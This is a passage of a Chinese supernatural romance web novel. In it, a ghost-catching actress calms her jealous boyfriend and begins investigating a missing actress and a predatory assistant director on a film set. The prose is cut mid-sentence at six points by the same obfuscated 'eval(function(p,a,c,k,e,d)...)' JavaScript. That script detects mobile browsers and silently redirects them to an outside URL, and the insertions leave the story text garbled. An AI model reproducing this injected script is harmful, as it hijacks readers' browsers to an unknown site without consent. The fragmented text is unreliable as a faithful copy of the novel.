金绮月心中一动,也看了左轻白一眼。御江市,几百年前,御江不叫御江,而叫腾沙,鬼村的原址就在腾沙。 她果然是我的小若姐姐。 “姐姐什么时候回去,带上我吧。”金绮月天真无邪地笑了起来,“御江市有很多名胜古迹,我想去玩玩。” 饭局平安无事的结束,左轻白上了路回的车。 路回的豪车开在路上很引人注目,但也没什么办法,这已经是路回家中最低调的一辆车了。 左轻白和路回都坐在后排,开车的是司机。今夜路回一言不发,只是沉默地看着窗外。 左轻白觉得他有些奇怪,便问:“你怎么了?” “我哥为什么说那样的话?” “什么话?” “不知道回去还会不会回来。” 路回没回头,左轻白看不到他的脸,只看到一个后脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789953|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺。 “他开玩笑的吧。”左轻白说。 “那天录完节目回来,你为什么跟我说你不知道会不会跟我分开?” “我也开玩笑的。” 路回摇头,说道:“你们个个都想把我当局外人,但我怎么可能什么都不知道。” “你知道什么了?”左轻白问。 路回转过头,那双凤眼一眯,美而锋利。 路回没有回答左轻白的问题,而是伸出手,握住了左轻白的手。 “我知道你很强,但你是我的女朋友,有任何事情,你都可以依靠我。”路回郑重地说。 “你解决不了的,路回。”左轻白实话实说,路回不是修炼者。 路回再摇头,低声道:“你可以相信我。” 他一只手抓着左轻白的手,一条腿放松地搭在另一条腿上,不知怎的,看上去竟有些高深。 路回又把头转向窗外,车外的灯景正以飞快的速度向后移。路回说道:“我或许知道一些事情。轻白,你不会走,你这辈子都会在我身边。” 左轻白疑惑,追问路回他知道什么了,但路回似乎心事重重,他把眼睛闭上,佯装睡着了。 128. 一刀把它剁了 某日,嘉烨娱乐公司大楼。 左轻白大摇大摆地去了顶层总裁办公室。 路家产业涉及广泛,不只嘉烨娱乐,路回平时也不总是呆在这里,但他只要回来,就一定会找左轻白——如果左轻白没有外出拍戏的话,公司的人都见怪不怪。 因为顶着路回女朋友、嘉烨娱乐老板娘的头衔,圈里那些人不敢潜规则到左轻白头上,都对左轻白客客气气的,左轻白算是过得比较舒服,但别的小演员就没那么幸运了,潜规则这种现象在圈里并不少见。 这天,总裁办公室里,左轻白和路回两人闹了些不愉快。 路回冷着一张脸坐在办公桌后,双手交叠在胸前,翘着二郎腿,他看起来不太高兴,连带着气压都低了下来。 而左轻白坐在一旁的沙发上,也保持着跟路回一样的姿势,不过她倒是没冷脸,她偏头看向路回,等着路回先说话。 发生了什么事?路回这个醋坛子又翻了呗。 路回这醋坛子没事就翻一翻,左轻白早习惯了。 “不许接。”路回把一本剧本扔在办公桌上,臭着一张脸,说。 “给我一个不接的理由。”左轻白问。 “没有理由。”路回霸道地站起来,双手撑着桌面,一字一句道:“我是老板,我说不接就不接。” “哎哟哟。”左轻白佯装被吓了一跳的样子,拍拍胸脯,眨眨眼睛,说道:“哪学来的霸道总裁范儿?好可怕,我被吓到了呢。” 路回大步走到左轻白跟前,说:“这时候你还有心思阴阳怪气地开玩笑?” “我没开玩笑。”左轻白说,“那本子挺好的,班底也不错,听陈姐说很有爆相,为什么不接?赚钱又不是我一个人赚,是公司赚,也就是路公子你赚。” 陈姐,全名陈芸,是公司经纪人,一个合格的经纪人在帮艺人接戏的时候一定会看剧本,评估其质量和市场潜力,陈芸很专业,眼光也毒辣,她说有爆相,那大概率能有个好成绩。 路回气不打一处来,他问左轻白:“我听说这部剧不是陈芸帮你接的,是你自己跑去导演那儿主动要求试戏,争取到的机会,是不是?” “是啊。但我也把剧本给陈姐看了嘛,陈姐也说这个剧很好,既然是好剧,那是我主动去接还是她帮我接,又有什么区别?” “左轻白,我怀疑你动机不纯。” “怎么动机不纯?” “你主动试戏接下这剧,真的只是因为它剧本好?” “不然呢。” “我看你是想跟兰殊尔二搭吧!”路回的醋坛子彻彻底底翻了。 原来,这部剧的男主定的是兰殊尔,如果女主角定下左轻白,那么这部剧就是左轻白和兰殊尔二搭演情侣。 兰殊尔和左轻白上次搭档演的破案剧播出后反响不错,观众说他俩很有cp感,还衍生出了cp粉,cp粉剪了一大堆cp向视频上传到视频网站,路回偶尔也能刷到。 路回拿出手机,直接点开一个视频给左轻白看。 左轻白看完,只是平静地评价了一句:“剪得还挺带感,这届粉丝真有才。” 路回的脸又黑了下来。 黑了几乎有20秒,路回忽然脸色一变,豁然开朗,变成了一副胜券在握的样子。 正在左轻白疑惑他怎么了的时候,路回拿出手机,开始拨号,边拨号边说:“这部片子的出品人是中开影业的扈总,扈总我认识,凭我爸的交情,我还得叫一声扈叔。我知道就算我不让你演,你这人也会私自跑到片场去,不如我直接跟扈叔打声招呼,让他不用你,看你怎么办。” 路回给了左轻白一个眼神,仿佛在说:小样,给你看看权力的力量。 左轻白一惊,急了,连忙去抢路回的手机,嘴里说道:“别别别,别打别打,路回,路总,路哥,你不能这么对我,这部剧对我很重要。” 路回奇道:“很重要?你要凭它争影后?不对啊,你一直都没这个心啊。” “不是争影后。是抓鬼。” 路回听罢,先是一愣,然后做出个扶额的动作。 原来是这样!难怪! 左轻白见路回还举着手机,就差把电话拨出去了,她怕路回真给扈总打电话,心想先把这醋坛子安抚好再说,于是左轻白拽着路回在沙发上坐下,跟他说道:“我跟兰殊尔的cp是网友自己YY的,她们的视频剪得再好,也不能说明我跟兰殊尔有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808846|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。那兰殊尔还跟男的有cp呢,能说明什么吗?也不能说明什么。当网友们在开玩笑就好。” 左轻白继续道:“再说,在悼青山的时候,你也见到了兰殊尔,就他那万年老光棍的样儿,悼青山都不收他,他就是个天煞孤星的命,我俩那是一点火花都擦不出来,你就放一百个心。” 遥远之外的兰殊尔莫名其妙地打了个喷嚏。 路回见左轻白主动劝自己,脸色这才好看了些。 路回把左轻白抱到自己腿上,深深地看着左轻白。 路回狠狠地亲了左轻白一口,说:“这戏可以接,但我有三个要求。第一,这部戏不要跟兰殊尔炒cp,除了拍戏,不要跟他有过多接触。” “吃吃饭聊聊天总可以吧。”左轻白漫不经心地讨价还价。 “第二,这部剧负责选角的副导演是不是叫贾奎?离他远点。” 副导演在选角方面扮演着至关重要的角色。开拍前,他们负责角色招募工作,包括信息发布、简历整理及分析,对艺人进行筛选、沟通、试镜,并负责最后的合同签订;剧组开拍后,他们还负责管理艺人、参与拍摄、统筹需求等工作。 在大项目中,副导演往往不止一个,贾奎是这部剧几位副导演中的一位,把控选角大关,不过像男女主这样重要的角色,最后拍板的肯定是导演和制片。白柳是导演的至交,左轻白是白柳直接推荐给导演的,导演对左轻白的试镜表现很满意,试镜时左轻白在现场看到了贾奎。 左轻白朝路回投去询问的目光,路回补充道:“贾奎风评太差了,他凭着选角副导演的便利,经常潜规则女演员。你是我女朋友,谅他不敢动你,但狗改不了吃屎,咸猪手什么的一定要防一防。” 左轻白手作刀状,自信满满地说:“放心,他的猪蹄子要是敢伸过来,我就一刀把它剁了。” 两人对视一眼,笑了起来。 路回继续:“第三,你到底要抓什么鬼,非得去这个剧组?你得把前因后果告诉我。” 左轻白不紧不慢地叙述了起来:“巧了,我要抓的鬼,就跟这个贾奎有关。事情要从一个月前说起,那天,白柳姐约我吃饭,我在约定时间到达了餐厅……” 129. 出多少钱我都愿意 一个月前,某餐厅。 左轻白来到餐厅时,白柳已经在那等着了。 “对不起啊,我来晚了。”左轻白走过去,说道。 白柳笑道,“没有,是我来得太早了。” 白柳把菜单递给左轻白,说:“点菜吧,挑你爱吃的。” 两人点了菜,服务员去备餐,先给两人一人上了一杯果汁。 左轻白用吸管吸了一口果汁,问白柳:“白柳姐,上次你说要我帮忙的事情是什么?到底是哪里有鬼?” 白柳轻叹了一声,悠悠说道:“我也不确定是不是有鬼,但我找不到更好的方法了。” 白柳道出了原委:“我有一个关系很好的师妹,叫菲菲,或许你知道她。” 菲菲是个演员,出演过很多小网剧,虽然不算大红大紫,但也有一点名气,圈了一些粉丝。不久之前,新闻报道,菲菲意外失踪,至今下落不明。 白柳继续道:“菲菲签在中开影业旗下,三个月前突然失踪,下落不明。菲菲不仅是我师妹,还是我同乡,她爸妈跟我爸妈认识。菲菲失踪后,警察那边一直没消息,我很担心菲菲,就去问了中开影业内部员工,问他们知不知道内情,内部员工说,菲菲失踪他们不清楚情况,但最近公司里很古怪。” 左轻白认真地听着。白柳喝了一口果汁,继续往下说:“我问他哪里古怪,他跟我讲了两个故事,都是在菲菲失踪的三个月里发生的。” 左轻白好奇心起,托着腮问:“哪两个故事?” 白柳开始讲故事:“第一个故事,有一段时间中开影业公司大楼的前台电话经常在晚上响起,但值夜班的保安一接,对面就挂了。大家以为是哪个无聊的人搞的恶作剧,就决定在夜晚的时候拔掉电话线。拔电话线的第一晚,保安以为他可以清静了,没想到,那个拔了线的电话竟然再一次响了起来。保安看着电话琢磨来琢磨去,百思不得其解。接着保安接了电话,电话那头竟传来女人的哭声,哭了几声后,对面挂断了。就在这时保安听到二楼楼道传来高跟鞋走来走去的声音,他觉得奇怪,便上二楼看,二楼没有人;厕所传来声响,保安又跑去厕所看,厕所还是没有人。连续七天都是如此,保安都快疯了,而就在第八天的时候,保安真疯了。” “啊?”左轻白瞪大了眼睛,“真疯了是……送进精神病院的意思吗?” 白柳点点头,“是的,那个保安疯掉了,被送进了精神病院。疯的时候他嘴里一直说胡话。” “他说什么?” “他在叫菲菲的名字。” “他认识菲菲?” “菲菲是个演员,演过戏,他当然认识,但不算熟识,只是打过照面而已。” “除了叫菲菲的名字,他还说了什么?” “他还说:‘眼珠子掉了,手掉了。’不停地在重复。” “这是什么意思?” “不知道,所有人只当他脑袋不清醒,在胡言乱语。” 接下来,白柳继续讲第二个故事:“第二个故事,也是发生在中开影业的。你知道贾奎吗?圈里的一个副导演。” 左轻白回答:“知道,但没合作过。” “这个贾奎的导演约签在中开影业,他跟菲菲同公司。作为副导演,大部分时间都呆在片场,非必要不回公司本部,贾奎算是回得比较勤快的一个。” 行业里,导演可以不签公司,但也可以签公司,这基于个人选择。不签公司更自由,签了公司能拿到更多的资源和支持,贾奎选择了签约公司。 白柳往下说道:“每次贾奎回公司,走在公司楼道上时,都会把路过的人吓一跳,贾奎问他们怎么了,那些人都指着贾奎的影子支支吾吾说不出话来。” “他影子有问题?” “嗯。贾奎是个高大的男人,但每次回公司,大家都会看到他的影子竟然变成了一个婀娜的女人,女人长发及腰,腰细腿长,个子瘦高,但只有贾奎看不到,每次贾奎一回头,都很莫名其妙,他说他的影子很正常,不知道那些人在大惊小怪什么。” “一个男人,影子却变成了女人,真奇怪。” 白柳拿出手机,翻出相册中的一张照片给左轻白看,说道:“这张照片是中开影业内部员工偷偷拍的,你看,这个人就是贾奎,而他墙上的影子,却明明是个女人!” 左轻白看了照片,惊道:“还真是,太奇怪了。” 白柳说:“我觉得,这是菲菲的影子。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815033|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白柳姐,一个影子,看不到脸,你怎么确定是菲菲的影子?” “我不确定,只是一种感觉。”白柳放大照片,放大影子的头部,对左轻白说:“影子虽然看不到脸,但能从轮廓看出影子主人的发型,影子主人剪着个公主切的发型,而菲菲失踪前,就是刚换了个公主切的发型。” 白柳翻出菲菲的照片给左轻白看,果然,照片里的女孩留着公主切的发型,头部轮廓跟影子的头部轮廓十分相似。 “我怀疑菲菲被贾奎害了,甚至已经……所以她的影子才会找上贾奎。”白柳说。 白柳平复了一下情绪,说:“贾奎这个人,风评很差,业内都知道他爱潜规则女演员。他是副导演,负责选角的,他经常跟那些漂亮女演员说:‘除非你陪我睡,不然拿不到这个角色。’用各种手段逼人就范。唉,行业内这种情况一直存在,我年轻的时候也遇到过,幸好当时有我师兄解围。” 左轻白奇道:“可我入行那么久,从来没遇到过这种事啊。” 白柳看了左轻白一眼,说:“没人敢动你,你是路回女朋友,路家是资本方,路家的面子不能不给。你是背靠资本,但别的小演员就没那么幸运了。” “可我成为路回女朋友之前也没遇到过。” 白柳笑了,“那时候那位路少爷就提前打过招呼了。他喜欢你很久了,你太迟钝了。” 左轻白恍然大悟,接着脸一红,心里一股暖流流过。 “除了你之外,我听说还有一个是大家都不敢动的,就是最近拿了影后的金绮月。听人说她个人魅力很大,身上有一股神性,见到她只想爱护她、追随她,不敢对她动一点心思。”白柳说。 左轻白嘴角抽搐,神性?金绮月那个是鬼性! “白柳姐,你想让我调查菲菲的下落,从贾奎和中开影业入手,是不是?” 白柳点头,“你是捉鬼师,我见识过你的本事,中开影业公司大楼的电话、保安,还有贾奎的影子,怎么看都鬼里鬼气的,灵异得很,我怀疑菲菲的失踪没那么简单。” 白柳一把抓住左轻白的手,说:“轻白,菲菲是个好女孩,我把菲菲当妹妹,你一定要帮我。你们是怎么收费的,跟我说,出多少钱我都愿意。” 130. 在哪学的情话 嘉烨娱乐公司大楼,总裁办公室。 路回听完左轻白的叙述,也惊得说不出话来。 “一个大男人,影子变成了一个女人的影子?匪夷所思。”路回说。 “所以我要去查明情况。”左轻白道。 “所以,白柳才把你推荐给李导,让你进这个剧组,接近贾奎。” 这部片子的导演叫李微漪,一位女导演,没有签约任何公司,中开影业外聘她来执导这部片子。一部剧,有时公司会用自己的导演,但有时也会外聘外面的导演,主要看每个项目的不同需求。在这个项目里,导演是外聘的李微漪,但制片、监制、选角副导演则是中开影业自己人,中开影业依然是主要出品方。 路回抱着左轻白,忽然笑了起来。 路回边笑边说:“跟你在一起怎么总是能遇到这么有意思的事呢?” 左轻白捏了捏路回的脸,道:“我是捉鬼师呀,我带你瞧见了另一个世界。” 左轻白看着路回那双诱人的凤眼,忽然心念一动,她将自己的脑袋靠近路回的脑袋,将自己的额头贴在路回的额头上,对路回说:“你也带我瞧见了另一个世界。” “什么世界?” “嗯……一个原来我可以不用形单影只的世界。”说着,左轻白把手攀在路回的肩膀上,道:“我可以触碰你,也可以拥抱你。” 路回的眼睛直勾勾地看着左轻白,突然他眼神染上一抹欲色,路回翻了个身,把怀里的左轻白摔在沙发上,沙发很软,左轻白没摔疼,路回往沙发上一压,压在左轻白身上。 路回嘴角勾起笑意,手抚上左轻白的鬓发,问:“捉鬼师小姐这是在哪学的情话?” 左轻白“格格”笑道:“最近剧本看多了,背台词背的。” 路回的手环上左轻白的腰,笑问:“背这些台词,你要勾引老板啊?” 左轻白不甘示弱,她一挑眉,说:“勾引?老板早就被我勾到手了,还勾什么?” 左轻白还不过瘾,她突然仰起头在路回唇上轻啄了一下,道:“你说是不是,老板?” 路回抓住左轻白的双手举过头顶,狠狠地回吻过去,他俯在左轻白耳边说:“我一会还有事,现在别给我玩火,晚上回家,床上见分晓。” 左轻白耳朵一红,一脚把路回踹开,“见个屁的分晓?不见!” 路回扳回一局,脸上笑意抹不开。这位捉鬼师小姐就是这副德行,自己爱撩,但撩到最后吧却撩不过别人,又会脸红。 几日后,片场。 这是个电视剧项目,古装剧,讲的是武则天时期上官婉儿和狄仁杰斗智斗勇的故事,中间有破案情节。左轻白饰上官婉儿,兰殊尔饰狄仁杰。 由于左轻白和兰殊尔上一部合作的电视剧是现代警匪题材,也有破案情节,所以这部剧的宣传噱头都已经想好了——警察cp穿越古代再度携手探案,让cp粉们当前世今生来看吧。 片场,左轻白悄悄问兰殊尔:“历史上上官婉儿和狄仁杰有什么关系吗?” 兰殊尔一本正经地回答:“同事关系。” 上官婉儿和狄仁杰曾同朝为官,是武则天时期的重臣。 “不是。”左轻白说,“我是说其他关系,比如私人交集有没有?” 兰殊尔白了左轻白一眼,干巴巴地回答:“没有。上官婉儿和狄仁杰相差34岁,有什么好交集的?” “哎哎哎,你回答就回答,白我一眼干嘛?”左轻白不爽了,“比我多懂点历史,很有优越感是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822979|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是?” “历史也是捉鬼师考试中必考的一个科目。”兰殊尔依然一本正经,“如果你这方面有所欠缺,你应该去学习。” 左轻白撇撇嘴,做了个无奈的表情,“跟你聊天真累。一定是你们那的捉鬼师天天考试,考得人都傻了。” 话不投机半句多,两人默契地闭嘴。 左轻白心想:路回真好笑,吃我跟兰殊尔的醋?老天爷啊,我俩不打起来就很好了,怎么可能有别的心思? 饶是如此,话不投机半句多的两人却偏偏喜欢呆在一起,宁可大眼瞪小眼也不去跟别的小团体扎推,或许是因为无论再怎么样他俩都是同类,都是捉鬼师,人会在人群中寻找同类,并且只喜欢与同类扎堆。 在片场,左轻白看到了副导演贾奎,贾奎手里拿着大计划和时间表,在片场走来走去,他需要协调拍摄日程,还需要负责场景搭建、管理演职人员等。 在前期选角工作中,贾奎发挥了很大作用,剧组有很多演员都是他挑进来的,包括很多女演员,这些女演员都认识他,但好像都有点怕他。 左轻白亲眼看见一个演配角的小演员路过贾奎时,因为一时没看到他所以没打招呼,被贾奎叫住,小演员是个小女生,看样子应该刚从学校毕业,小女生一看见贾奎就害怕,目光躲闪,似乎想躲,贾奎却不让她走,眼睛色眯眯地打量她,然而嘴里说出来的话却义正严辞:“现在的小孩,怎么连个招呼都不会打?” 贾奎语气很凶,小女生被他吓到,低头发抖。 贾奎大声呵斥:“叫人啊!” 接着,贾奎马上又换了一副语气,像个提点晚辈的长辈一样语重心长地说道:“我是在教你,从学校毕业,进入社会,你这样的性格啊,不行的!” 131. 冰山扑克脸 左轻白见状气急,嘴里说了一句“欺人太甚”,说完“嗖”的一下窜到了贾奎跟前,挡在女生前面。 她来得很快,贾奎吓了一跳,定眼一看才发现是左轻白。 贾奎立即换了副嘴脸,谄媚道:“轻白老师,您有什么吩咐?” 左轻白一指小女生,突然对贾奎一吼:“叫人啊!” 贾奎用手指了指自己的鼻子,瞪大眼睛,不可思议道:“我叫人?” “是啊。”左轻白理直气壮地说,“你怪她没主动给你打招呼,你不也没主动给她打招呼吗?” “可她是我招进来的演员。” “那又怎样?” 小女生怯生生地抓住左轻白的衣袖,说:“轻白姐,刚才我是没看见。” “听见没有?”左轻白对贾奎说,“刚才人家没看见,这点小事也要吼?” “我是在教她做事。” “怎么做事,人家有人家爸妈来教,用不着你教。副导演权力大,但别得了点权力,就到处欺压人。” 贾奎气得咬牙切齿,只想狠狠地扇左轻白一巴掌,但一想到左轻白是路回的女朋友,就只能忍住。 贾奎在心里骂道:要是没攀上路家,你他妈又算个什么东西?操的。 他一边骂,一边继续媚笑,露出伏低做小的姿态,说道:“是是是,轻白老师说得对,我还有事,先走了,轻白老师好好休息。” 贾奎转身就走。 刚才贾奎站定吼女生是在阴凉处,看不到影子,他走了几步后,就到了有阳光的地方,阳光照在他身上,把他的影子投射在地上,是个男人的影子,而不像白柳叙述中的那样是个女人的影子。 贾奎走后,左轻白问女生:“你叫什么名字?” 女生答:“我叫宋露,今年刚毕业。轻白姐,今天谢谢你。” “没事。” 这时,宋露的同伴来叫宋露,宋露小心翼翼地对左轻白说:“轻白姐,我先过去了。” “好。”左轻白道。 宋露离开后,兰殊尔走到左轻白身边,说:“贾奎身上没鬼气。”他刚才一直在观察。 左轻白用手摸着下巴,道:“而且他的影子也是正常的,没有变成女人。” “变成女人的情况是在什么环境下发生的?” “听白柳的叙述,是在中开影业公司大楼的走廊上。” “如果菲菲变成了鬼且被困在了中开影业公司大楼的走廊里,那是不是只有当贾奎回到那条走廊时,变成鬼的菲菲才会以影子的形态出现,让大家看到?”兰殊尔做出假设。 “可为什么贾奎身上没有鬼气?” 兰殊尔陷入沉思,这他无法解释。 刚进组的时候左轻白就把白柳告诉她的故事告诉了兰殊尔,想让兰殊尔协助她,兰殊尔说可以,但得到的报酬要分他一半。左轻白大手一挥,说:“那当然,亲兄弟明算账,只要你帮我,报酬我分你,不会让你吃亏。”于是两人达成了合作协议。 一连几天,左轻白和兰殊尔都盯着贾奎,发现贾奎除了喜欢色眯眯地盯着那些没名气的小演员看外,好像没什么古怪的地方。 电视剧的拍摄正在进行中。为了赶进度,影视剧通常采取分组拍摄的方式,分成AB两组,同时推进,有可能观众看到的开头和大结局的镜头,其实是同一时间在AB两组中同时完成拍摄的,只不过剪辑的时候一个镜头放在前,一个镜头放在后而已,这种拍摄模式是影视剧进入商业化的必然产物。 因为左轻白和兰殊尔有大量对手戏,所以俩人大多数时候都在同一个组拍摄。 由于拍摄不是按照剧本故事的发展顺序进行的,而是在一个场景拍摄完这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832592|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个场景中发生的所有故事后,再转战下个场景拍摄,所以就产生了一种很割裂的情况,可能上一段刚拍完人物出场,下一段就已经在拍人物下线了;上一段还在拍开开心心的镜头,下一段就又哭又闹又吵架。演员的情绪转变来转变去,都快成精神分裂了。 宋露饰演武则天身边的一个丫鬟,虽然不是对情节有推动作用的重要角色,但露脸的机会还不少,基本上武则天出场她就跟着出场。这段时间左轻白没少关照宋露,主要是怕贾奎再欺负她,一来二去,宋露对左轻白产生了信任感,认为左轻白是个很好很好的前辈。 拍摄间隙的时候,左轻白顶着发型老师给她梳的高高的发髻在看剧本,心里不停地吐槽唐朝的发髻怎么这么高。听造型师说唐朝以发髻区分身份地位,女子身份越高,发髻也越高。 看剧本的间隙,左轻白偷了个懒,偷偷拍了张自拍照发给路回。 照片发过去后,路回很快回了几个字:唐朝公主。 左轻白:不是公主,是女官。这个造型好看吗? 路回:好看。说不好看你会拿我去喂鬼的吧? 左轻白:我哪有这么小气?你现在在干什么? 路回:开会。 左轻白:开会还玩手机?你偷懒。 路回:你拍戏不也玩手机?你也偷懒。 左轻白偷笑起来。 她很开心,好像只要跟路回说话她就开心,路回真是她的宝藏。 左轻白还在傻笑,忽然,兰殊尔拍了拍她的肩膀。 左轻白转头,依旧是那张冰山扑克脸。 “别傻笑了。”兰殊尔指了指某个隐蔽的转角,只见转角处宋露被贾奎拉着往转角后面去了。兰殊尔问:“要不要去看看?” “走。”左轻白毫不犹豫地放下剧本,她和兰殊尔两人快速朝转角处跑去。 132. 16M层 发髻太重,左轻白只好一边扶着发髻一边跑。左轻白和兰殊尔及时跑到转角后,喝止住了正在拉扯宋露的贾奎。 贾奎见有人来了,便狠狠地松开宋露,走了。 宋露见又是左轻白救了自己,感激和委屈混合在一起,她抓着左轻白的手,“哇”的一声哭了出来,甚至差点下跪。 “哎哎哎。”左轻白连忙扶住她,说:“拍戏的时候下跪就算了,戏外可不兴这个。” “轻白姐。”宋露哭道,“我实在不知道该怎么办了,你能帮我吗?” 左轻白指着刚才贾奎离开的方向,说:“是不是那混账玩意想潜你?走,带你报警。” 宋露却摇了摇头,说:“贾奎不是最可怕的,最可怕的是他背后的人,不,是怪物!” “他背后的人是谁?”兰殊尔问。 “我不知道。”宋露说,“我只知道那人藏在中开影业!” 三人找了个地方坐下,宋露缓缓说起她这段时间的经历。 宋露说:“一个月前,我来试镜,我最开始试的是周羽燕那个角色。” “周羽燕?这个角色比你现在演的丫鬟重要多了,有大量台词和戏份。”左轻白说。 周羽燕虽然不是女一号,但台词多人设好,有很多人竞争,最终这个角色的扮演者定了另外一个女演员,而不是宋露。 宋露点了点头,道:“是,所以竞争很大。我一开始没抱什么太大希望,但试镜结束后,贾奎就找到了我,他说我试镜的表现非常不错,但是呢,周羽燕这个角色很重要,而我只是一个刚从学校毕业的新人,这么重要的角色贸然启用新人风险太大。我听到贾奎夸我演得好很开心,就想再争取一下,我对贾奎说:‘贾导,给我一次机会吧,我拼了命也要把角色演好!’贾奎听罢摆摆手,他当时看起来很和善,他对我说:‘不需要你拼命,这样吧,定个时间,你再来公司一趟,我多给你几个片段让你演一演,我需要详细观察你的演技,如果你真的OK,我们不介意捧一捧新人。’于是,我们就定了第二天晚上在中开影业公司大楼见面。” 左轻白说:“他怎么约你晚上见面?你去了?” “一开始我也觉得晚上不妥,但贾奎说他们白天很忙,没有时间,而我又太想要这个角色,就答应了。晚上,我如约到达中开影业,贾奎告诉我的楼层是16M,但我进了电梯,电梯按键没有16M这个选项,只有15、16和17。” “M”在楼层中代表夹层或者中间层的意思,在西方也被用来指代数字13,“16M”大概率是指16层和17层之间的夹层,又或者15层和16层之间的夹层,但宋露说,她在电梯按键上没有看到“16M”这个选项。 宋露继续往下说:“我觉得很奇怪,想打电话给贾奎问问情况,然而电话打不出去,电梯里没信号,一格都没有,然后……”说到这里,宋露脸色苍白,身上发抖,她颤抖着嘴唇说:“然后,电梯竟然自己动了,可我明明什么楼层也没按,它在往上升,就在这时我感觉到好像有个人在我身后呼吸,他鼻子呼出来的热气喷在了我后颈上,我吓了一大跳,连忙回头,我看到,看到……” 左轻白问:“你看到了什么?” 宋露面露惊恐,“我看到我后面那面墙变成了透明的,就像观光电梯一样,我能看到电梯外面的场景,我看到了一片汪洋大海。” “汪洋大海?怎么会有海?”左轻白奇道。 “也有可能是个大水缸,光线太暗我看不清楚,反正里面灌了好多好多水,水里面游着……人。” “人?”这下连鲜少说话的兰殊尔都忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840733|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住出声。 “那些人的脸色发白,甚至都泡肿了。”宋露说。 “他们死了吗?” “不,没死,因为我看到他们手脚还在动,嘴里还在吐水泡。” 宋露用手捂着自己的心口,平复了好一会才说道:“电梯继续往上走,大水缸消失了,取而代之的是一片刀山。” “刀山?” “对,就是地上竖起密密麻麻的尖刀,刀尖朝上。我看到有个人从高处落下,落到刀山上,一把把利刃把他身体戳穿,其中一把戳中了他的眼睛,我看到……”宋露吓得嘴唇发白,但还坚持往下说:“我看到他眼珠子掉了出来。” 听到这,左轻白想到了什么。 左轻白想到,在白柳的叙述中,中开影业那个保镖疯了之后嘴里就一直不停地在说:“眼珠子掉了……” 宋露深吸一口气,往下说:“就在我快吓晕过去的时候,电梯‘叮’的一声到了,我慌不择路地跑了出去。这个楼层很奇怪,没有窗户,四周黑乎乎的,我想这或许就是16M层。突然间灯亮了,灯是那种昏黄昏黄的灯,我看到贾奎站在灯下,表情怪怪的。” “他让你试戏了吗?” “他让我在沙发上坐下,告诉我不用再试了,他已经把我的表演片段给了老板看,老板说很满意,既然老板满意,那就没有再试的必要了。贾奎见我惊魂未定,一副吓傻了的样子,就主动跟我解释,他说电梯里我看到的那些都是假的,3D影像而已,吓唬人的恶作剧罢了,让我不要怕。可是,那些画面太真实了,我觉得不仅仅只是3D影像。”宋露说。 左轻白从没听说过这种情况,便看向兰殊尔。 “是真实的。”兰殊尔冷着一张脸,说:“她看到的都是真实的。” 